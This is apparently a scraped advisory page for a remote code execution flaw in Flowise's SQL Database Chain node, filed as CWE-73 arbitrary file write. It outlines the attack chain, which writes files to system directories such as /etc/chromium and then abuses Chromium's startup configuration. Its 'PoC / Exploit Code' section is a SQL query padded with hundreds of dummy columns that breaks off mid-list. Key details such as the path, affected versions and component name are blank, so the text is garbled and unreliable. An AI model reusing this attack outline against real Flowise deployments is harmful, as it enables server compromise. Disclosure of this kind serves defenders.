Flowise SQL Database Chain Node RCE: CWE-73 File Write & PoC

Vulnerability Key Information Summary Vulnerability Overview Vulnerability Name: Flowise RCE via SQL Database Chain Node Vulnerability Type: Remote Code Execution (RCE) Root Cause: The SQL Database Chain node allows users to specify database file paths using the protocol for the database without performing path validation. Attackers can construct malicious paths (e.g., ) to write files to arbitrary locations, thereby achieving RCE. Scope of Impact Affected Component: (npm package) Affected Versions: Fixed Version: CVSS v4 Score: 9.4 (Critical) CWE: CWE-73 (File Write) Impact: Attackers can execute arbitrary SQL via SQL queries to write files into system directories such as . By leveraging Chromium's configuration loading mechanism at startup, they can execute shell commands, achieving Remote Code Execution. Remediation Upgrade to 3.1.4 or later. Implement whitelist/path validation for database path inputs, prohibiting the protocol from pointing to system directories. POC / Exploit Code 1. SQL Query to Trigger RCE (Writing to /etc/chromium) ```sql CREATE TABLE RCE_with_root_user AS SELECT * FROM (SELECT '1' AS a, '2' AS b, '3' AS c, '4' AS d, '5' AS e, '6' AS f, '7' AS g, '8' AS h, '9' AS i, '10' AS j, '11' AS k, '12' AS l, '13' AS m, '14' AS n, '15' AS o, '16' AS p, '17' AS q, '18' AS r, '19' AS s, '20' AS t, '21' AS u, '22' AS v, '23' AS w, '24' AS x, '25' AS y, '26' AS z, '27' AS aa, '28' AS ab, '29' AS ac, '30' AS ad, '31' AS ae, '32' AS af, '33' AS ag, '34' AS ah, '35' AS ai, '36' AS aj, '37' AS ak, '38' AS al, '39' AS am, '40' AS an, '41' AS ao, '42' AS ap, '43' AS aq, '44' AS ar, '45' AS as_, '46' AS at, '47' AS au, '48' AS av, '49' AS aw, '50' AS ax, '51' AS ay, '52' AS az, '53' AS ba, '54' AS bb, '55' AS bc, '56' AS bd, '57' AS be, '58' AS bf, '59' AS bg, '60' AS bh, '61' AS bi, '62' AS bj, '63' AS bk, '64' AS bl, '65' AS bm, '66' AS bn, '67' AS bo, '68' AS bp, '69' AS bq, '70' AS br, '71' AS bs, '72' AS bt, '73' AS bu, '74' AS bv, '75' AS bw, '76' AS bx, '77' AS by, '78' AS bz, '79' AS ca, '80' AS cb, '81' AS cc, '82' AS cd, '83' AS ce, '84' AS cf, '85' AS cg, '86' AS ch, '87' AS ci, '88' AS cj, '89' AS ck, '90' AS cl, '91' AS cm, '92' AS cn, '93' AS co, '94' AS cp, '95' AS cq, '96' AS cr, '97' AS cs, '98' AS ct, '99' AS cu, '100' AS cv, '101' AS cw, '102' AS cx, '103' AS cy, '104' AS cz, '105' AS da, '106' AS db, '107' AS dc, '108' AS dd, '109' AS de, '110' AS df, '111' AS dg, '112' AS dh, '113' AS di, '114' AS dj, '115' AS dk, '116' AS dl, '117' AS dm, '118' AS dn, '119' AS do_, '120' AS dp, '121' AS dq, '122' AS dr, '123' AS ds, '124' AS dt, '125' AS du, '126' AS dv, '127' AS dw, '128' AS dx, '129' AS dy, '130' AS dz, '131' AS ea, '132' AS eb, '133' AS ec, '134' AS ed, '135' AS ee, '136' AS ef, '137' AS eg, '138' AS eh, '139' AS ei, '140' AS ej, '141' AS ek, '142' AS el, '143' AS em, '144' AS en, '145' AS eo, '146' AS ep, '147' AS eq, '148' AS er, '149' AS es, '150' AS et, '151' AS eu, '152' AS ev, '153' AS ew, '154' AS ex, '155' AS ey, '156' AS ez, '157' AS fa, '158' AS fb, '159' AS fc, '160' AS fd, '161' AS fe, '162' AS ff, '163' AS fg, '164' AS fh, '165' AS fi, '166' AS fj, '167' AS fk, '168' AS fl, '169' AS fm, '170' AS fn, '171' AS fo, '172' AS fp, '173' AS fq, '174' AS fr, '175' AS fs, '176' AS ft, '177' AS fu, '178' AS fv, '179' AS fw, '180' AS fx, '181' AS fy, '182' AS fz, '183' AS ga, '184' AS gb, '185' AS gc, '186' AS gd, '187' AS ge, '188' AS gf, '189' AS gg, '190' AS gh, '191' AS gi, '192' AS gj, '193' AS gk, '194' AS gl, '195' AS gm, '196' AS gn, '197' AS go, '198' AS gp, '199' AS gq, '200' AS gr, '201' AS gs, '202' AS gt, '203' AS gu, '204' AS gv, '205' AS gw, '206' AS gx, '207' AS gy, '208' AS gz, '209' AS ha, '210' AS hb, '211' AS hc, '212' AS hd, '213' AS he, '214' AS hf, '215' AS hg, '216' AS hh, '217' AS hi, '218' AS hj, '219' AS hk, '220' AS hl, '221' AS hm, '222' AS hn, '223' AS ho, '224' AS hp, '225' AS hq, '226' AS hr, '227' AS hs, '228' AS ht, '229' AS hu, '230' AS hv, '231' AS hw, '232' AS hx, '233' AS hy, '234' AS hz, '235' AS ia, '236' AS ib, '237' AS ic, '238' AS id, '239' AS ie, '240' AS if_, '241' AS ig, '242' AS ih, '243' AS ii, '244' AS ij, '245' AS ik, '246' AS il, '247' AS im, '248' AS in_, '249' AS io, '250' AS ip, '251' AS iq, '252' AS ir, '253' AS is_, '254' AS it, '255' AS iu, '256' AS iv, '257' AS iw, '258' AS ix, '259' AS iy, '260' AS iz, '261' AS ja, '262' AS jb, '263' AS jc, '264' AS jd, '265' AS je, '266' AS jf, '267' AS jg, '268' AS jh, '269' AS ji, '270' AS jj, '271' AS jk, '272' AS jl, '273' AS jm, '274' AS jn, '275' AS jo, '276' AS jp, '277' AS jq, '278' AS jr, '279' AS js, '280' AS jt, '281' AS ju, '282' AS jv, '283' AS jw, '284' AS jx, '285' AS jy, '286' AS jz, '287' AS ka, '288' AS kb, '289' AS kc, '290' AS kd, '291' AS ke, '292' AS kf, '293' AS kg, '294' AS kh, '295' AS ki, '296' AS kj, '297' AS kk, '298' AS kl, '299' AS km, '300' AS kn, '301' AS ko, '302' AS kp, '303' AS kq, '304' AS kr, '305' AS ks, '306' AS kt, '307' AS ku, '308' AS kv, '309'

Goal Reached Thanks to every supporter — we hit 100%!

Flowise SQL Database Chain Node RCE: CWE-73 File Write & PoC

More from this source